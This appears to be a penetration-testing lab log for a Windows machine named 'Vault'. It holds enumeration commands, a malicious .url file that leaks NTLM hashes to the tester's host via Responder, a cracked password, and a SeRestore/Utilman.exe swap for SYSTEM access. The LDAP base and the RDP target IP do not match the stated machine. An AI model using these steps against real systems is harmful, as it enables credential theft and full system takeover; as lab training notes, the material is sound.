🧪 Pentest Log: {{date:2025-08-04}}

🔍 Target Information

• Machine Name: Vault
• IP Address: 192.168.123.172
• Operating System: Windows

ip=192.168.123.172

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 53

dig any vault.offsec @$ip

dig AXFR @$ip 

Port 135, 593

rpcclient -U '' -N $ip

Port 139, 445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 389, 636, 3268, 3269

ldapsearch -H ldap://$ip -x -s base namingcontexts

ldapsearch -H ldap://$ip -x -b"DC=hutch,DC=offsec" > ldap_dump.txt

Port 3389

Port 5985

💣 Exploitation / Foothold

Tool / Script Used:

put evil.url

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\192.168.45.163\%USERNAME%.icon
IconIndex=1

sudo responder -I tun0 -wv

recieved anirudh's hash, crack it with john

anirudh:SecureHM

🧬 Privilege Escalation

👤 Current Access

• User: anirudh
• Groups: N/A
• Shell Type: evil winrm

🔍 Enumeration

Access Tokens

whoami /priv

found current user has SeRestore privilege on

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Abusing Tokens
• Target Binary/Service: SeRestore
• Reference / Source: https://hacktricks.boitatech.com.br/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

🔧 Exploit Steps

• Smash to Administrator

.\EnableSeRestorePrivilege.ps1

mv C:\\Windows\\System32\\Utilman.exe C:\\Windows\\System32\\Utilman.old

mv cmd.exe Utilman.exe

rdesktop -0 192.168.123.165

press win+U